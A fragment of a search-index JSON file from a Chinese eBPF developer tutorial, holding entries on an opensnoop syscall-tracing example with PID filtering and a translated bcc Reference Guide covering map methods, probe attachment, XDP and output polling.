运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc opensnoop.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 3840345 enter sys openat <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 3840345 enter sys openat 此时，我们已经能够捕获进程打开文件的系统调用了。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 在 eBPF 中捕获进程打开文件的系统调用集合","id":"30","title":"在 eBPF 中捕获进程打开文件的系统调用集合"},"300":{"body":"语法: map.insert(&key, &val) 将第二个参数中的值与键相关联，仅在之前没有值的情况下。 现场示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 23. map.insert()","id":"300","title":"23. map.insert()"},"301":{"body":"语法: map.increment(key[, increment_amount]) 通过 increment_amount（默认为1）增加键的值。用于柱状图。 map.increment()不是原子操作。在并发情况下，如果要获得更准确的结果，请使用 map.atomic_increment() 而不是 map.increment()。map.increment() 和 map.atomic_increment() 的开销相似。 注意. 当使用 map.atomic_increment() 操作类型为 BPF_MAP_TYPE_HASH 的 BPF map 时，如果指定的键不存在，则 map.atomic_increment() 无法保证操作的原子性。 现场示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 24. map.increment()","id":"301","title":"24. map.increment()"},"302":{"body":"语法: int map.get_stackid(void *ctx, u64 flags) 这会遍历在 ctx 中找到的 struct pt_regs 中的堆栈，将其保存在堆栈跟踪 map 中，并返回一个唯一的堆栈跟踪 ID。 现场示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 25. map.get_stackid()","id":"302","title":"25. map.get_stackid()"},"303":{"body":"语法: u64 map.perf_read(u32 cpu) 现场示例:\"\" 搜索/tests","breadcrumbs":"bcc Reference Guide » 26. map.perf_read()","id":"303","title":"26. map.perf_read()"},"304":{"body":"语法：void map.call(void *ctx, int index) 这将调用bpf_tail_call()来尾调用 BPF_PROG_ARRAY 中指向index入口的bpf程序。尾调用与普通调用不同。它在跳转到另一个bpf程序后重用当前的栈帧，并且不会返回。如果index入口为空，它将不会跳转到任何地方，程序的执行将会继续进行。 例如： BPF_PROG_ARRAY(prog_array, 10); int tail_call(void *ctx) { bpf_trace_printk(\"尾调用\\n\"); return 0;\n} int do_tail_call(void *ctx) { bpf_trace_printk(\"原始的程序\\n\"); prog_array.call(ctx, 2); return 0;\n} b = BPF(src_file=\"example.c\")\ntail_fn = b.load_func(\"tail_call\", BPF.KPROBE)\nprog_array = b.get_table(\"prog_array\")\nprog_array[c_int(2)] = c_int(tail_fn.fd)\nb.attach_kprobe(event=\"some_kprobe_event\", fn_name=\"do_tail_call\") 这将tail_call()分配给prog_array[2]。在do_tail_call()的最后，prog_array.call(ctx, 2)尾调用tail_call()并执行它。 **注意：**为了防止无限循环，尾调用的最大数量是32（ MAX_TAIL_CALL_CNT ）。 在现场示例中： 搜索/examples , 搜索/tests","breadcrumbs":"bcc Reference Guide » 27. map.call()","id":"304","title":"27. map.call()"},"305":{"body":"语法：int map.redirect_map(int index, int flags)\".这将根据 index 条目重定向传入的数据包。如果映射是 BPF_DEVMAP ，数据包将被发送到该条目指向的网络接口的传输队列。如果映射是 BPF_CPUMAP ，数据包将被发送到index CPU的环形缓冲区，并稍后由CPU处理。如果映射是 BPF_XSKMAP ，数据包将被发送到连接到队列的 AF_XDP 套接字。 如果数据包成功被重定向，该函数将返回 XDP_REDIRECT。否则，将返回 XDP_ABORTED 以丢弃该数据包。 例如： BPF_DEVMAP(devmap, 1); int redirect_example(struct xdp_md *ctx) { return devmap.redirect_map(0, 0);\n}\nint xdp_dummy(struct xdp_md *ctx) { return XDP_PASS;\n} ip = pyroute2.IPRoute()\nidx = ip.link_lookup(ifname=\"eth1\")[0] b = bcc.BPF(src_file=\"example.c\") devmap = b.get_table(\"devmap\")\ndevmap[c_uint32(0)] = c_int(idx) in_fn = b.load_func(\"redirect_example\", BPF.XDP)\nout_fn = b.load_func(\"xdp_dummy\", BPF.XDP)\nb.attach_xdp(\"eth0\", in_fn, 0)\nb.attach_xdp(\"eth1\", out_fn, 0) 示例位置： 搜索 /examples ,","breadcrumbs":"bcc Reference Guide » 28. map.redirect_map()","id":"305","title":"28. map.redirect_map()"},"306":{"body":"语法：int map.push(&val, int flags) 将元素推入堆栈或队列表。将 BPF_EXIST 作为标志传递会导致队列或堆栈在已满时丢弃最旧的元素。成功返回0，失败返回负错误值。 示例位置： 搜索 /tests ,","breadcrumbs":"bcc Reference Guide » 29. map.push()","id":"306","title":"29. map.push()"},"307":{"body":"语法：int map.pop(&val) 从堆栈或队列表中弹出一个元素。*val被填充为结果。与查看不同，弹出操作会移除该元素。成功返回0，失败返回负错误值。 示例位置： 搜索 /tests ,","breadcrumbs":"bcc Reference Guide » 30. map.pop()","id":"307","title":"30. map.pop()"},"308":{"body":"语法：int map.peek(&val)查看堆栈或队列表头的元素。*val将被结果填充。 与弹出不同，查看不会删除元素。 成功返回0，失败返回负错误。 实例： 搜索/tests","breadcrumbs":"bcc Reference Guide » 31. map.peek()","id":"308","title":"31. map.peek()"},"309":{"body":"语法：int map.sock_hash_update(struct bpf_sock_ops *skops, &key, int flags) 向sockhash映射添加条目或更新条目。skops用作与键相关联的条目的新值。flags为以下之一： BPF_NOEXIST：映射中不得存在key的条目。\nBPF_EXIST：映射中必须已存在key的条目。\nBPF_ANY：对于key的条目是否存在，没有条件。 如果映射具有eBPF程序（解析器和判决器），则这些程序将被添加的套接字继承。如果套接字已经附加到eBPF程序，则会出错。 成功返回0，失败返回负错误。 实例： 搜索/tests","breadcrumbs":"bcc Reference Guide » 32. map.sock_hash_update()","id":"309","title":"32. map.sock_hash_update()"},"31":{"body":"全局变量在 eBPF 程序中充当一种数据共享机制，它们允许用户态程序与 eBPF 程序之间进行数据交互。这在过滤特定条件或修改 eBPF 程序行为时非常有用。这种设计使得用户态程序能够在运行时动态地控制 eBPF 程序的行为。 在我们的例子中，全局变量 pid_target 用于过滤进程 PID。用户态程序可以设置此变量的值，以便在 eBPF 程序中只捕获与指定 PID 相关的 sys_openat 系统调用。 使用全局变量的原理是，全局变量在 eBPF 程序的数据段（data section）中定义并存储。当 eBPF 程序加载到内核并执行时，这些全局变量会保持在内核中，可以通过 BPF 系统调用进行访问。用户态程序可以使用 BPF 系统调用中的某些特性，如 bpf_obj_get_info_by_fd 和 bpf_obj_get_info，获取 eBPF 对象的信息，包括全局变量的位置和值。 可以通过执行 ecli -h 命令来查看 opensnoop 的帮助信息： $ ecli package.json -h\nUsage: opensnoop_bpf [--help] [--version] [--verbose] [--pid_target VAR] Trace open family syscalls. Optional arguments: -h, --help shows help message and exits -v, --version prints version information and exits --verbose prints libbpf debug information --pid_target Process ID to trace Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. 可以通过 --pid_target 选项来指定要捕获的进程的 pid，例如： $ sudo ./ecli run package.json --pid_target 618\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 618 enter sys openat <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 618 enter sys openat","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 使用全局变量在 eBPF 中过滤进程 pid","id":"31","title":"使用全局变量在 eBPF 中过滤进程 pid"},"310":{"body":"语法：int map.msg_redirect_hash(struct sk_msg_buff *msg, void*key, u64 flags) 该辅助程序用于在套接字级别实施策略的程序中。如果消息msg被允许通过（即判决eBPF程序返回SK_PASS），则使用哈希键将其重定向到映射引用的套接字（类型为BPF_MAP_TYPE_SOCKHASH）。可以使用入站和出站接口进行重定向。标志中的BPF_F_INGRESS值用于区分（如果存在该标志，则选择入站路径，否则选择出站路径）。目前，这是唯一支持的标志。 成功返回SK_PASS，发生错误返回SK_DROP。 实例： 搜索/tests","breadcrumbs":"bcc Reference Guide » 33. map.msg_redirect_hash()","id":"310","title":"33. map.msg_redirect_hash()"},"311":{"body":"语法：int map.sk_redirect_hash(struct sk_buff *skb, void*key, u64 flags)\".This helper is used in programs implementing policies at the skb socket level. If the sk_buff skb is allowed to pass (i.e. if the verdict eBPF program returns SK_PASS), redirect it to the socket referenced by map (of type BPF_MAP_TYPE_SOCKHASH) using hash key. Both ingress and egress interfaces can be used for redirection. The BPF_F_INGRESS value in flags is used to make the distinction (ingress path is selected if the flag is present, egress otherwise). This is the only flag supported for now. Return SK_PASS on success, or SK_DROP on error. Examples in situ: [搜索/tests]( https://github.com/iovisor/bcc/search?q=sk_redirect_hash+path%3Atests&type=Code\\ ),","breadcrumbs":"bcc Reference Guide » 34. map.sk_redirect_hash()","id":"311","title":"34. map.sk_redirect_hash()"},"312":{"body":"Depending on which [BPF helpers](kernel-versions.md#helpers) are used, a GPL-compatible license is required. The special BCC macro BPF_LICENSE specifies the license of the BPF program. You can set the license as a comment in your source code, but the kernel has a special interface to specify it programmatically. If you need to use GPL-only helpers, it is recommended to specify the macro in your C code so that the kernel can understand it: // SPDX-License-Identifier: GPL-2.0+\n#define BPF_LICENSE GPL Otherwise, the kernel may reject loading your program (see the [错误描述](#2-cannot-call-gpl-only-function-from-proprietary-program) below). Note that it supports multiple words and quotes are not necessary: // SPDX-License-Identifier: GPL-2.0+ OR BSD-2-Clause\n#define BPF_LICENSE Dual BSD/GPL Check the [BPF helpers reference](kernel-versions.md#helpers) to see which helpers are GPL-only and what the kernel understands as GPL-compatible. If the macro is not specified, BCC will automatically define the license of the program as GPL.","breadcrumbs":"bcc Reference Guide » 许可证","id":"312","title":"许可证"},"313":{"body":"一个重写器的工作是使用内核辅助程序将隐式内存访问转换为显式内存访问。最近的内核引入了一个配置选项ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE，该选项将被设置为使用用户地址空间和内核地址空间不重叠的体系结构。x86和arm设置了这个配置选项，而s390没有。如果没有设置ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE，bpf旧帮助函数bpf_probe_read()将不可用。一些现有的用户可能有隐式内存访问来访问用户内存，所以使用bpf_probe_read_kernel()会导致他们的应用程序失败。因此，对于非s390，重写器将对这些隐式内存访问使用bpf_probe_read()。对于s390，默认使用bpf_probe_read_kernel()，用户在访问用户内存时应显式使用bpf_probe_read_user()","breadcrumbs":"bcc Reference Guide » Rewriter","id":"313","title":"Rewriter"},"314":{"body":"","breadcrumbs":"bcc Reference Guide » bcc Python","id":"314","title":"bcc Python"},"315":{"body":"构造函数。","breadcrumbs":"bcc Reference Guide » 初始化","id":"315","title":"初始化"},"316":{"body":"语法: BPF({text=BPF_program | src_file=filename} [, usdt_contexts=[USDT_object, ...]] [, cflags=[arg1, ...]] [, debug=int]) 创建一个BPF对象。这是定义BPF程序并与其输出交互的主要对象。 必须提供text或src_file之一，不能两者都提供。 cflags指定要传递给编译器的额外参数，例如-DMACRO_NAME=value或-I/include/path。参数以数组形式传递，每个元素为一个额外的参数。注意，字符串不会按空格拆分，所以每个参数必须是数组的不同元素，例如[\"-include\", \"header.h\"]。 debug标志控制调试输出，可以使用或运算: DEBUG_LLVM_IR = 0x1 编译后的LLVM IR DEBUG_BPF = 0x2 加载的BPF字节码和分支时的寄存器状态 DEBUG_PREPROCESSOR = 0x4 预处理器的结果 DEBUG_SOURCE = 0x8 嵌入源码的ASM指令 DEBUG_BPF_REGISTER_STATE = 0x10 所有指令的寄存器状态，额外打印DEBUG_BPF的信息 DEBUG_BTF = 0x20 打印来自libbpf库的消息。 示例: BPF(text='int do_trace(void *ctx) { bpf_trace_printk(\"命中！\\\\n\"); return 0; }'); # 定义程序为一个变量:\nprog = \"\"\"\nint hello(void *ctx) { bpf_trace_printk(\"你好，世界！\\\\n\"); return 0;\n}\n\"\"\"\nb = BPF(text=prog) # 源文件:\nb = BPF(src_file = \"vfsreadlat.c\") # 包括一个USDT对象:\nu = USDT(pid=int(pid))\n[...]\nb = BPF(text=bpf_text, usdt_contexts=[u]) # 添加包含路径:\nu = BPF(text=prog, cflags=[\"-I/path/to/include\"]) 在原地的示例:\n[搜索 /examples](https://github.com/iovisor/bcc/search?q=BPF+path%3Aexamples+language%3Apython&type=Code),\n[搜索 /tools](https://github.com/iovisor/bcc/search?q=BPF+path%3Atools+language%3Apython&type=Code) ### 2. USDT 语法: ```USDT({pid=pid | path=path})``` 创建一个对象以检测用户静态定义的跟踪(USDT)探针。它的主要方法是```enable_probe()```。 参数: - pid: 附加到该进程ID。\n- path: 从此二进制路径检测USDT探针。 示例: ```Python\n# 包括一个USDT对象:\nu = USDT(pid=int(pid))\n[...]\nb = BPF(text=bpf_text, usdt_contexts=[u]) 在原地的示例: 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 1. BPF","id":"316","title":"1. BPF"},"317":{"body":"","breadcrumbs":"bcc Reference Guide » 事件","id":"317","title":"事件"},"318":{"body":"语法: BPF.attach_kprobe(event=\"event\", fn_name=\"name\") 通过内核动态跟踪函数入口，来检测内核函数event()，并将我们的C定义的函数name()附加到每次调用内核函数时被调用。 例如: b.attach_kprobe(event=\"sys_clone\", fn_name=\"do_trace\") 这将检测内核sys_clone()函数，并在每次调用时运行我们定义的BPF函数do_trace()。 您可以多次调用attach_kprobe()，并将您的BPF函数附加到多个内核函数上。您也可以多次调用attach_kprobe()函数将多个BPF函数附加到同一个内核函数。 有关如何从BPF中提取参数的详细信息，请参阅前面的kprobes部分。 示例： 查找/examples , 查找/tools","breadcrumbs":"bcc Reference Guide » 1. attach_kprobe()","id":"318","title":"1. attach_kprobe()"},"319":{"body":"语法：BPF.attach_kretprobe(event=\"事件\", fn_name=\"名称\" [, maxactive=int]) 使用内核动态跟踪函数返回来检测内核函数event()的返回，并附加我们定义的C函数name()在内核函数返回时调用。 例如： b.attach_kretprobe(event=\"vfs_read\", fn_name=\"do_return\") 这将检测内核的vfs_read()函数，每次调用该函数时都会执行我们定义的BPF函数do_return()。 您可以多次调用attach_kretprobe()函数，并将您的BPF函数附加到多个内核函数的返回值。 您也可以多次调用attach_kretprobe()函数将多个BPF函数附加到同一个内核函数的返回值。 当在内核函数上安装kretprobe时，它可以捕获的并行调用次数存在限制。您可以使用maxactive参数更改该限制。有关默认值，请参阅kprobes文档。 有关如何从BPF中提取返回值的详细信息，请参阅前面的kretprobes部分。 示例： 查找/examples , 查找/tools","breadcrumbs":"bcc Reference Guide » 2. attach_kretprobe()","id":"319","title":"2. attach_kretprobe()"},"32":{"body":"本文介绍了如何使用 eBPF 程序来捕获进程打开文件的系统调用。在 eBPF 程序中，我们可以通过定义 tracepoint__syscalls__sys_enter_open 和 tracepoint__syscalls__sys_enter_openat 函数并使用 SEC 宏把它们附加到 sys_enter_open 和 sys_enter_openat 两个 tracepoint 来捕获进程打开文件的系统调用。我们可以使用 bpf_get_current_pid_tgid 函数获取调用 open 或 openat 系统调用的进程 ID，并使用 bpf_printk 函数在内核日志中打印出来。在 eBPF 程序中，我们还可以通过定义一个全局变量 pid_target 来指定要捕获的进程的 pid，从而过滤输出，只输出指定的进程的信息。 通过学习本教程，您应该对如何在 eBPF 中捕获和过滤特定进程的系统调用有了更深入的了解。这种方法在系统监控、性能分析和安全审计等场景中具有广泛的应用。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 总结","id":"32","title":"总结"},"320":{"body":"语法：BPF.attach_tracepoint(tp=\"追踪点\", fn_name=\"名称\") 检测由tracepoint描述的内核追踪点，并在命中时运行BPF函数name()。这是一种显式方式来操控 tracepoints。在前面的 tracepoints 部分讲解过的 TRACEPOINT_PROBE 语法是另一种方法，其优点是自动声明一个包含 tracepoint 参数的 args 结构体。在使用 attach_tracepoint() 时，tracepoint 参数需要在 BPF 程序中声明。 例如： # 定义 BPF 程序\nbpf_text = \"\"\"\n#include  struct urandom_read_args { // 来自 /sys/kernel/debug/tracing/events/random/urandom_read/format u64 __unused__; u32 got_bits; u32 pool_left; u32 input_left;\n}; int printarg(struct urandom_read_args *args) { bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n};\n\"\"\" # 加载 BPF 程序\nb = BPF(text=bpf_text)\nb.attach_tracepoint(\"random:urandom_read\", \"printarg\") 注意，printarg() 的第一个参数现在是我们定义的结构体。 代码示例： code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. attach_tracepoint()","id":"320","title":"3. attach_tracepoint()"},"321":{"body":"语法：BPF.attach_uprobe(name=\"location\", sym=\"symbol\", fn_name=\"name\" [, sym_off=int]), BPF.attach_uprobe(name=\"location\", sym_re=\"regex\", fn_name=\"name\"), BPF.attach_uprobe(name=\"location\", addr=int, fn_name=\"name\") 用于操控位于 location 中的库或二进制文件中的用户级别函数 symbol()，使用用户级别动态跟踪该函数的入口，并将我们定义的 C 函数 name() 附加为在用户级别函数被调用时调用的函数。如果给定了 sym_off，则该函数将附加到符号的偏移量上。真实的地址addr可以替代sym，在这种情况下，sym必须设置为其默认值。如果文件是非PIE可执行文件，则addr必须是虚拟地址，否则它必须是相对于文件加载地址的偏移量。 可以在sym_re中提供普通表达式来代替符号名称。然后，uprobes将附加到与提供的正则表达式匹配的符号。 在名字参数中可以给出库名而不带lib前缀，或者给出完整路径（/usr/lib/...）。只能通过完整路径（/bin/sh）给出二进制文件。 例如: b.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") 这将在libc中对strlen()函数进行插装，并在调用该函数时调用我们的BPF函数count()。请注意，在libc中的libc中的\"lib\"是不必要的。 其他例子: b.attach_uprobe(name=\"c\", sym=\"getaddrinfo\", fn_name=\"do_entry\")\nb.attach_uprobe(name=\"/usr/bin/python\", sym=\"main\", fn_name=\"do_main\") 您可以多次调用attach_uprobe()，并将BPF函数附加到多个用户级函数。 有关如何从BPF工具获取参数的详细信息，请参见上一节uprobes。 原址示例： search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. attach_uprobe()","id":"321","title":"4. attach_uprobe()"},"322":{"body":"语法: BPF.attach_uretprobe(name=\"location\", sym=\"symbol\", fn_name=\"name\") 使用用户级动态跟踪从名为location的库或二进制文件中的用户级函数symbol()返回值的方式仪器化，并将我们定义的C函数name()附加到用户级函数返回时调用。 例如: b.attach_uretprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\")\n```。这将使用libc库对```strlen()```函数进行插装，并在其返回时调用我们的BPF函数```count()```。 其他示例： ```Python\nb.attach_uretprobe(name=\"c\", sym=\"getaddrinfo\", fn_name=\"do_return\")\nb.attach_uretprobe(name=\"/usr/bin/python\", sym=\"main\", fn_name=\"do_main\") 您可以多次调用attach_uretprobe()，并将您的BPF函数附加到多个用户级函数上。 有关如何对BPF返回值进行插装的详细信息，请参阅前面的uretprobes部分。 内部示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 5. attach_uretprobe()","id":"322","title":"5. attach_uretprobe()"},"323":{"body":"语法：USDT.enable_probe(probe=probe, fn_name=name) 将BPF C函数name附加到USDT探针probe。 示例： # 根据给定的PID启用USDT探针\nu = USDT(pid=int(pid))\nu.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\") 要检查您的二进制文件是否具有USDT探针以及它们的详细信息，可以运行readelf -n binary并检查stap调试部分。 内部示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 6. USDT.enable_probe()","id":"323","title":"6. USDT.enable_probe()"},"324":{"body":"语法：BPF.attach_raw_tracepoint(tp=\"tracepoint\", fn_name=\"name\") 对由tracepoint（仅event，无category）描述的内核原始跟踪点进行插装，并在命中时运行BPF函数name()。 这是一种明确的插装跟踪点的方法。早期原始跟踪点部分介绍的RAW_TRACEPOINT_PROBE语法是一种替代方法。 例如： b.attach_raw_tracepoint(\"sched_switch\", \"do_trace\") 内部示例：\".\" 搜索 /工具","breadcrumbs":"bcc Reference Guide » 7. attach_raw_tracepoint()","id":"324","title":"7. attach_raw_tracepoint()"},"325":{"body":"语法: BPF.attach_raw_socket(fn, dev) 将一个BPF函数附加到指定的网络接口。 fn 必须是 BPF.function 类型，并且 bpf_prog 类型需要是 BPF_PROG_TYPE_SOCKET_FILTER (fn=BPF.load_func(func_name, BPF.SOCKET_FILTER)) fn.sock 是一个非阻塞原始套接字，已经创建并绑定到 dev。 所有处理 dev 的网络数据包都会在经过 bpf_prog 处理后，被复制到 fn.sock 的 recv-q 中。可以使用 recv/recvfrom/recvmsg 来从 fn.sock 接收数据包。需要注意的是，如果在 recv-q 满了之后没有及时读取，复制的数据包将会被丢弃。 可以使用这个功能来像 tcpdump 一样捕获网络数据包。 可以使用ss --bpf --packet -p来观察 fn.sock。 示例: BPF.attach_raw_socket(bpf_func, ifname) 示例位置: 搜索 /示例","breadcrumbs":"bcc Reference Guide » 8. attach_raw_socket()","id":"325","title":"8. attach_raw_socket()"},"326":{"body":"语法: BPF.attach_xdp(dev=\"device\", fn=b.load_func(\"fn_name\",BPF.XDP), flags) 改装由 dev 描述的网络驱动程序，然后接收数据包，并使用标志运行 BPF 函数 fn_name()。 以下是可选的标志列表。 # from xdp_flags uapi/linux/if_link.h\nXDP_FLAGS_UPDATE_IF_NOEXIST = (1 << 0)\nXDP_FLAGS_SKB_MODE = (1 << 1)\nXDP_FLAGS_DRV_MODE = (1 << 2)\nXDP_FLAGS_HW_MODE = (1 << 3)\nXDP_FLAGS_REPLACE = (1 << 4) 您可以像这样使用标志: BPF.attach_xdp(dev=\"device\", fn=b.load_func(\"fn_name\",BPF.XDP), flags=BPF.XDP_FLAGS_UPDATE_IF_NOEXIST) 标志的默认值为0。这意味着如果没有带有 device 的xdp程序，fn将在该设备上运行。如果有一个正在运行的xdp程序与设备关联，旧程序将被新的fn程序替换。\".当前，bcc不支持XDP_FLAGS_REPLACE标志。以下是其他标志的描述。 1. XDP_FLAGS_UPDATE_IF_NOEXIST 如果已经将XDP程序附加到指定的驱动程序上，再次附加XDP程序将失败。 2. XDP_FLAGS_SKB_MODE 驱动程序不支持XDP，但内核模拟支持它。 XDP程序可以工作，但没有真正的性能优势，因为数据包无论如何都会传递给内核堆栈，然后模拟XDP - 这通常适用于家用电脑，笔记本电脑和虚拟化硬件所使用的通用网络驱动程序。 3. XDP_FLAGS_DRV_MODE 驱动程序具有XDP支持，并且可以将数据包直接传递给XDP，无需内核堆栈交互 - 少数驱动程序可以支持此功能，通常用于企业级硬件。 4. XDP_FLAGS_HW_MODE XDP可以直接在NIC上加载和执行 - 只有少数NIC支持这一功能。 例如： b.attach_xdp(dev=\"ens1\", fn=b.load_func(\"do_xdp\", BPF.XDP)) 这将为网络设备ens1安装工具，并在接收数据包时运行我们定义的BPF函数do_xdp()。 不要忘记在最后调用b.remove_xdp(\"ens1\")！ 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 9. attach_xdp()","id":"326","title":"9. attach_xdp()"},"327":{"body":"语法：BPF.attach_func(fn, attachable_fd, attach_type [, flags]) 将指定类型的BPF函数附加到特定的attachable_fd上。如果attach_type是BPF_FLOW_DISSECTOR，则预期该函数将附加到当前的网络命名空间，并且attachable_fd必须为0。 例如： b.attach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS)\nb.attach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT)\n```注意。当附加到“全局”钩子（xdp、tc、lwt、cgroup）时。如果程序终止后不再需要“BPF 函数”，请确保在程序退出时调用 `detach_func`。 示例中的内部代码： [search /examples](https://github.com/iovisor/bcc/search?q=attach_func+path%3Aexamples+language%3Apython&type=Code), ### 11. detach_func() 语法：```BPF.detach_func(fn, attachable_fd, attach_type)``` 断开指定类型的 BPF 函数。 例如： ```Python\nb.detach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS) // 断开 cgroup_fd 上的 fn 函数\nb.detach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) // 断开 map_fd 上的 fn 函数 示例中的内部代码： search /examples ,","breadcrumbs":"bcc Reference Guide » 10. attach_func()","id":"327","title":"10. attach_func()"},"328":{"body":"语法：BPF.detach_kprobe(event=\"event\", fn_name=\"name\") 断开指定事件的 kprobe 处理函数。 例如： b.detach_kprobe(event=\"__page_cache_alloc\", fn_name=\"trace_func_entry\") // 断开 \"__page_cache_alloc\" 事件上的 \"trace_func_entry\" 函数","breadcrumbs":"bcc Reference Guide » 12. detach_kprobe()","id":"328","title":"12. detach_kprobe()"},"329":{"body":"语法：BPF.detach_kretprobe(event=\"event\", fn_name=\"name\") 断开指定事件的 kretprobe 处理函数。 例如： b.detach_kretprobe(event=\"__page_cache_alloc\", fn_name=\"trace_func_return\") // 断开 \"__page_cache_alloc\" 事件上的 \"trace_func_return\" 函数","breadcrumbs":"bcc Reference Guide » 13. detach_kretprobe()","id":"329","title":"13. detach_kretprobe()"},"33":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第五篇，主要介绍如何使用 uprobe 捕获 bash 的 readline 函数调用。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » eBPF 入门开发实践教程五：在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用","id":"33","title":"eBPF 入门开发实践教程五：在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用"},"330":{"body":"","breadcrumbs":"bcc Reference Guide » 调试输出","id":"330","title":"调试输出"},"331":{"body":"语法：BPF.trace_print(fmt=\"fields\") 该方法持续读取全局共享的 /sys/kernel/debug/tracing/trace_pipe 文件并打印其内容。可以通过 BPF 和 bpf_trace_printk() 函数将数据写入该文件，但该方法存在限制，包括缺乏并发跟踪支持。更推荐使用前面介绍的 BPF_PERF_OUTPUT 机制。 参数： fmt: 可选，可以包含字段格式化字符串，默认为 None。 示例： # 将 trace_pipe 输出原样打印：\nb.trace_print() # 打印 PID 和消息：\nb.trace_print(fmt=\"{1} {5}\") 示例中的内部代码： search /examples 。\" 搜索 /工具","breadcrumbs":"bcc Reference Guide » 1. trace_print()","id":"331","title":"1. trace_print()"},"332":{"body":"语法: BPF.trace_fields(nonblocking=False) 该方法从全局共享的 /sys/kernel/debug/tracing/trace_pipe 文件中读取一行，并将其作为字段返回。该文件可以通过 BPF 和 bpf_trace_printk() 函数进行写入，但该方法有一些限制，包括缺乏并发追踪支持。我们更推荐使用之前介绍的 BPF_PERF_OUTPUT 机制。 参数: nonblocking: 可选参数，默认为 False。当设置为 True 时，程序将不会阻塞等待输入。 示例: while 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue [...] 内联示例: 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 2. trace_fields()","id":"332","title":"2. trace_fields()"},"333":{"body":"BPF 程序的正常输出有两种方式: 每个事件: 使用 PERF_EVENT_OUTPUT、open_perf_buffer() 和 perf_buffer_poll()。 map 汇总: 使用 items() 或 print_log2_hist()，在 Maps 部分有介绍。","breadcrumbs":"bcc Reference Guide » 输出 API","id":"333","title":"输出 API"},"334":{"body":"语法: BPF.perf_buffer_poll(timeout=T) 该方法从所有打开的 perf 环形缓冲区中轮询，并对每个条目调用在调用 open_perf_buffer 时提供的回调函数。 timeout 参数是可选的，并以毫秒为单位计量。如果未提供，则轮询将无限期进行。 示例: # 循环调用带有回调函数 print_event 的 open_perf_buffer\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: try: b.perf_buffer_poll() except KeyboardInterrupt: exit() 内联示例: 代码 \".\" 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 1. perf_buffer_poll()","id":"334","title":"1. perf_buffer_poll()"},"335":{"body":"语法: BPF.ring_buffer_poll(timeout=T) 这个方法从所有已打开的ringbuf环形缓冲区中轮询数据，对每个条目调用在调用open_ring_buffer时提供的回调函数。 timeout参数是可选的，以毫秒为单位测量。如果没有指定，轮询将持续到没有更多的数据或回调函数返回负值。 示例: # 循环使用回调函数print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_poll(30) except KeyboardInterrupt: exit(); 示例： 搜索 /示例 ,","breadcrumbs":"bcc Reference Guide » 2. ring_buffer_poll()","id":"335","title":"2. ring_buffer_poll()"},"336":{"body":"语法: BPF.ring_buffer_consume() 这个方法从所有已打开的ringbuf环形缓冲区中消费数据，对每个条目调用在调用open_ring_buffer时提供的回调函数。 与ring_buffer_poll不同，这个方法在尝试消费数据之前 不会轮询数据 。这样可以减少延迟，但会增加CPU消耗。如果不确定使用哪种方法，建议使用ring_buffer_poll。 示例: # 循环使用回调函数print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_consume() except KeyboardInterrupt: exit(); 示例： 搜索 /示例 ,","breadcrumbs":"bcc Reference Guide » 3. ring_buffer_consume()","id":"336","title":"3. ring_buffer_consume()"},"337":{"body":"Maps是BPF数据存储器，在bcc中用于实现表、哈希和直方图等更高层次的对象。","breadcrumbs":"bcc 